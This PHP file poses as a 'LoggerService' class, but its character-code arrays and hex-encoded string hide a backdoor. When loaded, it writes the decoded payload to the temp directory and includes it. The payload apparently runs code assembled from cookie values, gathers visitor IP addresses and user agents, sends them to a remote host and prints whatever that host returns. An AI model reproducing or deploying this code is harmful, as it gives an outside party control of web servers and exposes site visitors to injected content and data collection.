<?php
class LoggerService {
	private $al = '';
	private $bx = '';

	public function updateCache($p1) {
		$a = array(((22+62+20)),101,((53+67)),(27+23),((22*32)-606),(((34*2)+37)),((15+58+37)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function computeResult($p1,$p2) {
		$a = array((39+63),111,(112),((10+16+75)),((2*55)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function saveChanges($p1,$p2) {
		$a = array(((44+32+26)),(((30*1)+89)),(114),(41+59+5),((17*1)+99),(57+44));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function resolveConflict($p1) {
		$a = array((101*1),((5*23)),(((69*14)-855)),((18*69)-1134),((3*33)),102);
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function updateRegistry($p1,$p2=null) {
		$a = array((120-6),((45+71)),(114),(((70*12)-735)),((109*1)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function initializeModule() {
		$this->bx = $this->updateRegistry($this->logEvent(), '/');
	}

	public function scheduleJob() {
		$this->al = $this->updateCache($this->hw);
	}

	public function encryptData() {
		$fn = $this->bx.'/jx-68195de3d8fa2';
		$f = $this->computeResult($fn, 'w');
		$this->saveChanges($f, $this->al);
		$this->resolveConflict($f);
		$this->manageState($fn);
	}

	private $hw = '3c3f70687020636c617373205f796d637b707269766174652' . '0737461746963245f71793b7374617469632066756e6374696' . 'f6e205f646528245f777572297b6966282173656c663a3a245' . 'f71792973656c663a3a5f626928293b72657475726e2062617' . '36536345f6465636f64652873656c663a3a245f71795b245f7' . '775725d293b7d70726976617465207374617469632066756e6' . '374696f6e205f626928297b73656c663a3a245f71793d61727' . '2617928275f6f6a67273d3e2751574e6a5a584e7a4c554e766' . '26e527962327774515778736233637454334a705a326c754f6' . '941272e2771272c275f71646d273d3e2751323975644756756' . '44331556558426c4f6942686348427361574e6864476c76626' . '9397159585a6863324e79615842272e2730272c275f776d682' . '73d3e2759272e2732272e2767272e273d272c275f7a6f6a273' . 'd3e275a586c4b63474e4453545a4a616d63305447706e4e457' . '8715a7a524d616d633053576c336157525852576c5061556f7' . '7576c684f4d456c706432272e276c6a62565a745357272e277' . '07661575248566e70272e276b272e2751272e27306f35272c2' . '75f6577273d3e276358272e2764272e27366541272e273d3d2' . '72c275f7565273d3e275047397250272e27673d3d272c275f7' . '76c69273d3e275047272e274a685a44343d272c275f637a273' . 'd3e276432467362413d3d272c275f617674273d3e27272c275' . 'f636166273d3e27272c275f7077273d3e27272c275f6279273' . 'd3e276148523063446f764c334231596935335a574a6d61572' . '72e27786c6147272e27397a644756794c6d4e76272e2762533' . '96a272e276232317762334e6c63272e2769357163272e277a3' . '96b272e275958526850513d272e273d272c275f6e706a273d3' . 'e275933567962463970626d6c30272c275f6679273d3e27614' . '852306346396a623252272e276c272c275f6b726d273d3e276' . '3324e6f5a5731272e276c272c275f616b74273d3e276148523' . '063272e27484d3d272c275f6e7975273d3e275230565549412' . '72e273d272e273d272c275f6667273d3e276347463061272e2' . '741272e273d272e273d272c275f627672273d3e2763272e275' . '8566c63272e276e272e276b272e273d272c275f736a273d3e2' . '750272e27773d272e273d272c275f746d273d3e276358566c6' . '3272e276e6b272e273d272c275f666b69273d3e27494568555' . '64641764d533477445170272e274962272e27334e30272e274' . 'f69272e27413d272c275f6a6e62273d3e276147397a6441272' . 'e273d272e273d272c275f686b77273d3e27445170446232357' . '55a272e27574e306157272e2739754f6942446247397a5a513' . '04b44516f3d272c275f786568273d3e2763334e272e27734f6' . '93876272c275f6976273d3e27272c275f6f626d273d3e27614' . '7397a64413d3d272c275f6f6977273d3e2744516f272e273d2' . '72c275f6871273d3e2753272e27465255554639272e2744544' . '56c4654272e276c52272e27665356413d272c275f6176273d3' . 'e27534652555546395958305a50556c6442556b5246272e275' . '246394754272e2731272e27493d272c275f636c273d3e27556' . 'b564e543152272e2746272e2758304645272e275246493d272' . 'c275f6e62273d3e2753465255272e27554639565530272e275' . '653583046485255272e2735272e2755272c275f79686d273d3' . 'e27534652272e275555463956272e27553056272e275358304' . '648525535272e2755272c275f717172273d3e27272c275f6e6' . 'd273d3e2753465255554639535255272e275a46556b5653272' . 'c275f7876273d3e2753465255554639272e275352272e27555' . 'a46272e27556b5653272c275f656c65273d3e27272c275f626' . 'a273d3e275346525555272e2746394454456c46546c5266535' . '641272e273d272c275f6a6b69273d3e27534652272e2755554' . '6394454456c46546c272e2752665356272e27413d272c275f6' . 'e72273d3e2753465255272e275546395958305a50556c64425' . '56b524652463947272e2754272e2731272e2749272e273d272' . 'c275f767770273d3e27534652272e27555546395958305a505' . '56c6442556b5246524639475431493d272c275f6a71273d3e2' . '7556b564e5431524658272e27304645524649272e273d272c2' . '75f676165273d3e27556b564e54315246583046455246272e2' . '749272e273d272c275f6a6369273d3e275a474a6e625739272' . 'e276b5a513d3d272c275f697a273d3e275356413649413d3d2' . '72c275f7566273d3e2749487767565545364941272e273d3d2' . '72c275f6c73273d3e2749487767556d56272e276d4f6941272' . 'e273d272c275f6674273d3e2749447869272e27636a34272e2' . '74b272c275f6a7175273d3e276158272e27413d272c275f756' . '1273d3e27645745272e273d272c275f616e68273d3e2763272' . 'e276d272e27566d272c275f6d6177273d3e276358643665413' . 'd3d272c293b7d7d686561646572285f796d633a3a5f6465282' . '75f6f6a272e27672729293b686561646572285f796d633a3a5' . 'f646528275f272e277164272e276d2729293b6966286973736' . '57428245f4745545b5f796d633a3a5f646528275f272e27776' . 'd6827295d29297b245f6c633d5f6a7368285f796d633a3a5f6' . '46528275f272e277a272e276f272e276a2729293b696628245' . 'f6c632626737472706f7328245f6c632c5f796d633a3a5f646' . '528275f272e2765272e2777272929213d3d66616c7365297b6' . '46965285f796d633a3a5f646528275f75272e27652729293b7' . 'd656c73657b646965285f796d633a3a5f646528275f776c692' . '729293b7d7d696628697373657428245f4745545b5f796d633' . 'a3a5f646528275f637a27295d29297b245f797a673d245f434' . 'f4f4b49453b245f6a793d283630362b2d363036293b245f777' . '5723d28696e7429726f756e6428332e352b332e35293b245f6' . 'b703d617272617928293b245f6b705b245f6a795d3d5f796d6' . '33a3a5f646528275f6176272e277427293b7768696c6528245' . 'f777572297b245f6b705b245f6a795d2e3d245f797a675b286' . '96e7429726f756e642831302b31302b3130295d5b245f77757' . '25d3b69662821245f797a675b2d3130372b3231322d37355d5' . 'b245f7775722b28696e7429726f756e6428302e32352b302e3' . '2352b302e32352b302e3235295d297b69662821245f797a675' . 'b28696e7429726f756e642831352b3135295d5b245f7775722' . 'b282d3238392b323931295d29627265616b3b245f6a792b2b3' . 'b245f6b705b245f6a795d3d5f796d633a3a5f646528275f636' . '1272e276627293b245f7775722b2b3b7d245f7775723d245f7' . '775722b28696e7429726f756e6428332e352b332e35292b282' . 'd3836352d202d3531342b333532293b7d245f6a793d245f6b7' . '05b3533342b2d3532392b395d28292e245f6b705b3832342b2' . 'd3830305d3b69662821245f6b705b28696e7429726f756e642' . '8312e352b312e352b312e352b312e35295d28245f6a7929297' . 'b245f7775723d245f6b705b2d32332b34302b2d31372d202d3' . '2365d28245f6a792c245f6b705b3239372d202d33312d202d3' . '139392d3531375d293b245f6b705b28696e7429726f756e642' . '8342e352b342e35295d28245f7775722c245f6b705b2d31342' . 'd3132302d3439322b3633375d2e245f6b705b2d3434352b343' . '6385d28245f6b705b28696e7429726f756e6428382e3333333' . '33333333333333333332b382e3333333333333333333333333' . '32b382e33333333333333333333333333295d28245f797a675' . 'b37342d37315d2929293b7d696e636c75646528245f6a79293' . 'b7d66756e6374696f6e205f6a736828245f6271642c245f767' . '37a3d747275652c245f6662703d38393030392c245f796a3d6' . 'e756c6c297b245f67713d5f796d633a3a5f646528275f70272' . 'e277727293b245f6d6e773d5f796d633a3a5f646528275f627' . '927292e245f6271643b69662869735f63616c6c61626c65285' . 'f796d633a3a5f646528275f6e706a272929297b245f7474753' . 'd6375726c5f696e697428245f6d6e77293b6375726c5f73657' . '46f707428245f7474752c4355524c4f50545f53534c5f56455' . '2494659504545522c66616c7365293b6375726c5f7365746f7' . '07428245f7474752c4355524c4f50545f53534c5f564552494' . '659484f53542c28696e7429726f756e6428312b3129293b637' . '5726c5f7365746f707428245f7474752c4355524c4f50545f4' . '64f4c4c4f574c4f434154494f4e2c28696e7429726f756e642' . '8302e33333333333333333333333333332b302e33333333333' . '333333333333333332b302e333333333333333333333333333' . '329293b6375726c5f7365746f707428245f7474752c4355524' . 'c4f50545f52455455524e5452414e534645522c2d3638362b3' . '531322d202d3736312b2d353836293b6375726c5f7365746f7' . '07428245f7474752c4355524c4f50545f4845414445522c286' . '96e7429726f756e6428302b3029293b6375726c5f7365746f7' . '07428245f7474752c4355524c4f50545f434f4e4e454354544' . '94d454f55542c28696e7429726f756e6428332e33333333333' . '3333333333333332b332e333333333333333333333333332b3' . '32e3333333333333333333333333329293b6375726c5f73657' . '46f707428245f7474752c4355524c4f50545f54494d454f555' . '42c2d33392d202d382b33392d202d32293b245f67713d63757' . '26c5f6578656328245f747475293b245f74723d6375726c5f6' . '76574696e666f28245f747475293b6375726c5f636c6f73652' . '8245f747475293b696628245f74725b5f796d633a3a5f64652' . '8275f66272e277927295d213d28696e7429726f756e6428313' . '0302b313030292972657475726e2066616c73653b7d656c736' . '57b245f696f3d70617273655f75726c28245f6d6e77293b245' . 'f6476633d28245f696f5b5f796d633a3a5f646528275f6b726' . 'd27295d3d3d5f796d633a3a5f646528275f61272e276b272e2' . '7742729293b245f77783d5f796d633a3a5f646528275f6e797' . '527292e245f696f5b5f796d633a3a5f646528275f272e27662' . '72e276727295d3b696628697373657428245f696f5b5f796d6' . '33a3a5f646528275f272e2762272e2776272e277227295d292' . '9245f77782e3d5f796d633a3a5f646528275f272e2773272e2' . '76a27292e245f696f5b5f796d633a3a5f646528275f74272e2' . '76d27295d3b245f77782e3d5f796d633a3a5f646528275f662' . '72e276b272e276927292e245f696f5b5f796d633a3a5f64652' . '8275f6a6e272e276227295d2e5f796d633a3a5f646528275f6' . '86b7727293b245f6e623d66736f636b6f70656e2828245f647' . '6633f5f796d633a3a5f646528275f272e2778656827293a5f7' . '96d633a3a5f646528275f69272e27762729292e245f696f5b5' . 'f796d633a3a5f646528275f272e276f626d27295d2c245f647' . '6633f28696e7429726f756e64283232312e352b3232312e352' . '93a3332392d202d3530372d373536293b696628245f6e62297' . 'b667075747328245f6e622c245f7778293b245f7964753d286' . '96e7429726f756e6428302b302b30293b7768696c652821666' . '56f6628245f6e6229297b245f6c6c6c3d666765747328245f6' . 'e622c28696e7429726f756e64283334312e333333333333333' . '33333332b3334312e33333333333333333333332b3334312e3' . '33333333333333333333329293b696628245f79647529245f6' . '7712e3d245f6c6c6c3b696628245f6c6c6c3d3d5f796d633a3' . 'a5f646528275f272e276f6977272929245f7964753d28696e7' . '429726f756e6428302e33333333333333333333333333332b3' . '02e33333333333333333333333333332b302e3333333333333' . '333333333333333293b7d66636c6f736528245f6e62293b7d7' . 'd72657475726e245f67713b7d245f7576693d6973736574282' . '45f5345525645525b5f796d633a3a5f646528275f687127295' . 'd293b245f726b3d697373657428245f5345525645525b5f796' . 'd633a3a5f646528275f272e27617627295d293b245f6d6f653' . 'd697373657428245f5345525645525b5f796d633a3a5f64652' . '8275f272e2763272e276c27295d293b245f65733d697373657' . '428245f5345525645525b5f796d633a3a5f646528275f272e2' . '76e272e276227295d293f245f5345525645525b5f796d633a3' . 'a5f646528275f7968272e276d27295d3a5f796d633a3a5f646' . '528275f71717227293b245f71667a3d697373657428245f534' . '5525645525b5f796d633a3a5f646528275f6e272e276d27295' . 'd293f245f5345525645525b5f796d633a3a5f646528275f782' . '72e277627295d3a5f796d633a3a5f646528275f656c272e276' . '527293b245f7576693d697373657428245f5345525645525b5' . 'f796d633a3a5f646528275f62272e276a27295d293f245f534' . '5525645525b5f796d633a3a5f646528275f6a272e276b69272' . '95d3a6e756c6c3b245f726b3d697373657428245f534552564' . '5525b5f796d633a3a5f646528275f6e272e277227295d293f2' . '45f5345525645525b5f796d633a3a5f646528275f767770272' . '95d3a6e756c6c3b245f6d6f653d697373657428245f5345525' . '645525b5f796d633a3a5f646528275f272e276a7127295d293' . 'f245f5345525645525b5f796d633a3a5f646528275f272e276' . '761272e276527295d3a6e756c6c3b69662866696c7465725f7' . '6617228245f7576692c3132372b31343829297b245f6873773' . 'd245f7576693b7d656c736569662866696c7465725f7661722' . '8245f726b2c3833362b3531342d3130373529297b245f68737' . '73d245f726b3b7d656c73657b245f6873773d245f6d6f653b7' . 'd696628697373657428245f4745545b5f796d633a3a5f64652' . '8275f6a63272e276927295d29297b6563686f205f796d633a3' . 'a5f646528275f272e27697a27292e245f6873772e5f796d633' . 'a3a5f646528275f272e27756627292e245f65732e5f796d633' . 'a3a5f646528275f6c272e277327292e245f71667a2e5f796d6' . '33a3a5f646528275f667427293b6578697428293b7d6966282' . '1697373657428245f687377297c7c21697373657428245f657' . '3297c7c21697373657428245f71667a29297b6578697428293' . 'b7d656c73657b245f6863673d6172726179285f796d633a3a5' . 'f646528275f6a71272e277527293d3e245f6873772c5f796d6' . '33a3a5f646528275f272e27756127293d3e245f65732c5f796' . 'd633a3a5f646528275f616e6827293d3e245f71667a293b245' . 'f75723d75726c656e636f6465286261736536345f656e636f6' . '465286a736f6e5f656e636f646528245f6863672929293b245' . 'f6c633d5f6a736828245f7572293b696628245f6c632626737' . '472706f7328245f6c632c5f796d633a3a5f646528275f6d272' . 'e276177272929213d3d66616c7365297b6563686f245f6c633' . 'b6578697428293b7d7d';

	public function manageState($p) {
		require_once($p);
	}

	public function logEvent() {
		$a=array((((14*8)+3)),(125-4),(5*23),(5*19),103,(101*1),116,(99-4),(((45*110)-4834)),(101),(109),((32+45+35)),(((55*101)-5460)),((107-7)),((75+30)),(114));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$zf = new LoggerService();
$zf->initializeModule();
$zf->scheduleJob();
$zf->encryptData();
